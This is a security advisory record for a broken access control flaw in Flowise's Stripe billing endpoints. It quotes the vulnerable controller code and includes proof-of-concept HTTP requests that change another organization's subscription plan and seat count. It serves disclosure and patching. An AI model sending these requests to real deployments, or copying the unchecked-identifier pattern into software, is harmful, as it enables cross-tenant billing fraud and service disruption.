CVE-2026-70476: Flowise Broken Access Control Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-gmmw-qg98-6j6p",
  "modified" : "2026-08-04T19:24:07Z",
  "published" : "2026-08-04T19:24:07Z",
  "aliases" : [ "CVE-2026-70476" ],
  "summary" : "Flowise: Broken Access Control in Stripe Subscription Endpoints Allows Cross-Tenant Billing Manipulation",
  "details" : "### Summary\nSeveral organization billing endpoints accept attacker-controlled Stripe identifiers (subscriptionId) without verifying that the identifier belongs to the authenticated user's organization. This allows an authenticated attacker to perform unauthorized Stripe subscription operations on other tenants. As a result, an authenticated user can manipulate the Stripe subscription of another organization by supplying a victim organization's subscriptionId.\n\nThis allows attackers to perform unauthorized billing operations such as changing subscription plans or modifying seat quantities, resulting in potential financial impact and service disruption.\n\n\n### Details\nMultiple organization billing endpoints accept subscriptionId directly from user input without validating ownership. The server relies on a client-supplied Stripe subscription identifier rather than resolving the subscription from the authenticated user's organization context.\n\n**File**\n\npackages/server/src/enterprise/routes/organization.route.ts\n\nAffected routes:\n\n```typescript\nrouter.post('/update-additional-seats', organizationController.updateAdditionalSeats)\nrouter.post('/update-subscription-plan', organizationController.updateSubscriptionPlan)\nupdateSubscriptionPlan\n```\n\n**File**\n\npackages/server/src/enterprise/controllers/organization.controller.ts\n\n```typescript\npublic async updateSubscriptionPlan(req: Request, res: Response, next: NextFunction) {\n    const { subscriptionId, newPlanId, prorationDate } = req.body\n\n    const identityManager = getRunningExpressApp().identityManager\n\n    const result = await identityManager.updateSubscriptionPlan(\n        req,\n        subscriptionId,\n        newPlanId,\n        prorationDate\n    )\n\n    return res.status(StatusCodes.OK).json(result)\n}\n```\n\nThe server trusts the user-supplied subscriptionId and forwards it to the Stripe integration layer.\n\nMissing validation:\nsubscriptionId belongs to req.user.activeOrganization\n\nupdateAdditionalSeats\n\n```typescript\npublic async updateAdditionalSeats(req: Request, res: Response, next: NextFunction) {\n    const { subscriptionId, quantity, prorationDate } = req.body\n\n    const identityManager = getRunningExpressApp().identityManager\n\n    const result = await identityManager.updateAdditionalSeats(\n        subscriptionId,\n        quantity,\n        prorationDate\n    )\n\n    return res.status(StatusCodes.OK).json(result)\n}\n```\n\nAgain, the subscriptionId is taken directly from the request body without verifying ownership.\n\n### PoC\nStep 1 - Obtain victim subscriptionId\n\nThis identifier may be obtained via the organization read endpoint or other exposed references.\n\nExample:\n\nsub_YYYYYYYYYYYY\n\nStep 2 - Modify victim subscription\n\n```http\nPOST /api/v1/organization/update-subscription-plan\nHost: target.example.com\nCookie: token=<attacker-session>\nContent-Type: application/json\n\n{\n  \"subscriptionId\": \"sub_YYYYYYYYYYYY\",\n  \"newPlanId\": \"free_plan_id\",\n  \"prorationDate\": 1735689600\n}\n```\n\nStep 3 - Change seat quantity\n\n```http\nPOST /api/v1/organization/update-additional-seats\nHost: target.example.com\nCookie: token=<attacker-session>\nContent-Type: application/json\n\n{\n  \"subscriptionId\": \"sub_YYYYYYYYYYYY\",\n  \"quantity\": 0,\n  \"prorationDate\": 1735689600\n}\n```\n\n### Impact\nAn authenticated attacker can manipulate the Stripe subscription of other organizations.\n\nPossible consequences include:\n\n- Unauthorized subscription upgrades to higher-priced plans\n- Manipulation of paid seat quantities leading to unintended charges\n- Service disruption through plan downgrades\n\nBecause the vulnerability allows cross-tenant manipulation of billing resources, it represents a high-impact authorization flaw.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "flowise"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.1.3"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.1.2"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-gmmw-qg98-6j6p"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/FlowiseAI/Flowise/pull/6321"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/FlowiseAI/Flowise/commit/4d7899d02ca370a5510406be5c91483085a412f9"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/FlowiseAI/Flowise"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-284", "CWE-639" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-04T19:24:07Z",
    "nvd_published_at" : null
  }
}